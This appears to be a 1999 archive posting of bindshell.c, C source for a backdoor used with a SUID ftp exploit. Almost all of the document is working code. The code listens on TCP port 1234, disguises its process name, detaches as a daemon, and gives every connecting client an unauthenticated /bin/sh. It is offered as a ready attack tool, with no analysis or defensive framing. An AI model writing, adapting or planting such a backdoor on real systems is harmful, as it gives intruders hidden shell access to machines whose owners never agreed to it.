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bindshell.c

bindshell.c
Posted Sep 30, 1999

Classic bindshell. Used for SUID ftp exploit.

SHA-256 | c40be6745115ca2908b272e55fc7e0bc73dd1a60843c8958e369f89e8c815b24

bindshell.c

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/*
* Unknown author.
*/


#define PORT 1234
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'\x0',strlen(argv[i]));
};
strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
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